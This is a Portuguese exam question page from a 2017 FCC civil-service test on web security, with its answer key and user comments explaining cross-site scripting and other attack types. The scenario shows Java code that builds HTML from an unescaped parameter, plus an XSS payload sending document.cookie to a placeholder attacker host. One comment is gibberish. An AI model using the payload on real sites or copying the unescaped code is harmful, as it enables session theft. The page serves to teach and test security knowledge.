Questão 2518117

• Banca: FCC
• Órgão: TRT - 24ª REGIÃO (MS)
• Ano: 2017
• Provas: FCC - 2017 - TRT - 24ª REGIÃO (MS) - Analista Judiciário - Tecnologia da Informação
• Disciplina: Segurança da Informação
• Assuntos: Segurança na Internet

Considere um cenário em que uma aplicação utiliza dados não confiáveis na construção do seguinte fragmento HTML sem validação ou filtro:

(String) page += "<input name='num_cartao_credito' type='TEXT' value='" +

request.getParameter("credit_card") + " '>";

Considere, ainda, que um atacante modifica o parâmetro 'credit_card' em seu navegador para:

'><script>document.location= 'http://www.atacante.com/cgi-bin/cookie.cgi?

foo='+document.cookie</script>'

Isso causa o envio do ID de sessão da vítima para o site do atacante, permitindo que sequestre a sessão atual do usuário.

Este é um cenário de ataque do tipo

• A. Cross-Site Scripting.
• B. Buffer Overflow.
• C. Advanced Persistent Threat.
• D. Script-Fake Injection.
• E. Session Persistent Hijacking.

Gabarito: A

Comentários

• A vulnerabilidade cross-site scripting não persistente (ou refletida) é, de longe, o tipo mais comum. Estas falhas aparecem quando os dados fornecidos por um cliente web, mais comumente em parâmetros de consulta HTTP ou envios de formulários HTML, é imediatamente utilizado pelos scripts do lado do servidor para analisar e exibir uma página de resultados de e para o usuário, sem a limpeza adequada do pedido.

  Basta fazer a associação entrecross-site scripting e HTML.

  Espero ter ajudado.

• cxSvxCrrxbcCCCryVcsbxrCvfcryCCFFeXC

• Cross-site scripting (XSS) é um tipo de vulnerabilidade do sistema de segurança de um computador, encontrado normalmente em aplicações web que activam ataques maliciosos ao injectarem client-side script dentro das páginas web vistas por outros usuários. Um script de exploração de vulnerabilidade cross-site pode ser usado pelos atacantes para escapar aos controles de acesso que usam a política de mesma origem.Através de um XSS, o hacker injeta códigos JavaScript em um campo texto de uma página já existente e este JavaScript é apresentado para outros usuários, porque persiste na página.

   

  Buffer Overflow Frequentemente é noticiado que em uma aplicação qualquer foi encontrada a vulnerabilidade de buffer overflow (ou estouro de buffer) e que através dela um atacante consegue executar código arbitrário. O arbitrário quer dizer qualquer código que ele desejar, ou quase isso.

   

  Ameaça persistente avançada  Essa expressão é comumente usada para se referir a ameaças cibernéticas, em particular a prática de espionagem via internet por intermédio de uma variedade de técnicas de coleta de informações que são consideradas valiosas o suficiente para que o agente espião despenda tempo e recursos para obtê-las. Ex.: Stuxnet: desenvolvido e disseminado por Estados Unidos e Israel, o worm Stuxnet foi projetado para atuar em um ciberataque contra o Irã.

   

   

  Session Persistent Hijacking Em ciência da computação , o seqüestro de sessão , às vezes também conhecido como seqüestro de cookies, é a exploração de uma sessão de computador válida - às vezes também chamada de chave de sessão - para obter acesso não autorizado a informações ou serviços em um sistema informático. Em particular, é usado para se referir ao roubo de um cookie mágico usado para autenticar um usuário em um servidor remoto. Tem especial relevância para os desenvolvedores web , pois os cookies HTTP [1] usados ​​para manter uma sessão em muitos sites podem ser facilmente roubados por um invasor usando um computador intermediário ou com acesso aos cookies salvos no computador da vítima (verRoubo de cookies HTTP ).

   

  Fontes: 

  https://pt.wikipedia.org/wiki/Cross-site_scripting

  http://www.crimesciberneticos.com/2011/02/entendendo-o-buffer-overflow.html

  https://pt.wikipedia.org/wiki/Amea%C3%A7a_persistente_avan%C3%A7ada

  https://en.wikipedia.org/wiki/Session_hijacking